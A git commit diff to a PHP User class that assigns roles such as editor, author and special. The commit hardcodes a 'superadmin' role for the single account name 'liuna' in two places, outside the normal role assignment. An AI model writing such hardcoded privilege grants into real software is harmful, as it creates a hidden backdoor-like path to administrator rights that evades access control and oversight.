This commit is contained in:
wangjinlei
2023-09-06 16:07:47 +08:00
parent adc0bd0e90
commit b2581b5bbe
4 changed files with 41 additions and 1 deletions

View File

@@ -1596,6 +1596,9 @@ class User extends Base
$user_info = $this->user_obj->where('account', $account)->find();
if ($user_info['type'] == 2) {
$ros[] = 'editor';
if($account=="liuna"){
$ros[] = "superadmin";
}
return $ros;
}
$roles[] = 'author';
@@ -1623,6 +1626,9 @@ class User extends Base
if ($special_res != null) {
$roles[] = 'special';
}
if($account == "liuna"){
$roles[] = "superadmin";
}
return $roles;
}